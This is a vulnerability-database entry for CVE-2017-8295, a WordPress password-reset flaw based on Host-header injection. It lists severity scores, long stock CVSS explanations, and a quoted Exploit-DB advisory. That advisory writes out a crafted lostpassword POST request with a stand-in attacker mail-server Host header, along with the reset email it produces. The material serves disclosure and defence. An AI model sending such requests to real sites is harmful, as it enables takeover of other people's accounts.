CVE-2017-8295 Detail

CVE-2017-8295

Score / Severity

5.9

Medium

OWSAP

A07-Identif. and Authent. Fail

EPSS

6.69%V3

Vector

Network

Published

2017-05-04
12h00 +00:00

Modified

2017-11-03
17h57 +00:00

Official links

CVE.org

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CVE Descriptions

WordPress through 4.7.4 relies on the Host HTTP header for a password-reset e-mail message, which makes it easier for remote attackers to reset arbitrary passwords by making a crafted wp-login.php?action=lostpassword request and then arranging for this message to bounce or be resent, leading to transmission of the reset key to a mailbox on an attacker-controlled SMTP server. This is related to problematic use of the SERVER_NAME variable in wp-includes/pluggable.php in conjunction with the PHP mail function. Exploitation is not achievable in all cases because it requires at least one of the following: (1) the attacker can prevent the victim from receiving any e-mail messages for an extended period of time (such as 5 days), (2) the victim's e-mail system sends an autoresponse containing the original message, or (3) the victim manually composes a reply containing the original message.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-640	Weak Password Recovery Mechanism for Forgotten Password The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	5.9	MEDIUM	CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. High A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. None There is no loss of confidentiality within the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	4.3		AV:N/AC:M/Au:N/C:N/I:P/A:N	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 41963

Publication date : 2017-05-02 22h00 +00:00
Author : Dawid Golunski
EDB Verified : No

============================================= - Discovered by: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - CVE-2017-8295 - Release date: 03.05.2017 - Revision 1.0 - Severity: Medium/High ============================================= Source: https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html If an attacker sends a request similar to the one below to a default Wordpress installation that is accessible by the IP address (IP-based vhost): -----[ HTTP Request ]---- POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: injected-attackers-mxserver.com Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password ------------------------ Wordpress will trigger the password reset function for the admin user account. Because of the modified HOST header, the SERVER_NAME will be set to the hostname of attacker's choice. As a result, Wordpress will pass the following headers and email body to the /usr/bin/sendmail wrapper: ------[ resulting e-mail ]----- Subject: [CompanyX WP] Password Reset Return-Path: <[email protected]> From: WordPress <[email protected]> Message-ID: <[email protected]> X-Priority: 3 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Someone requested that the password be reset for the following account: http://companyX-wp/wp/wordpress/ Username: admin If this was a mistake, just ignore this email and nothing will happen. To reset your password, visit the following address: <http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin> ------------------------------- As we can see, fields Return-Path, From, and Message-ID, all have the attacker's domain set. The verification of the headers can be performed by replacing /usr/sbin/sendmail with a bash script of: #!/bin/bash cat > /tmp/outgoing-email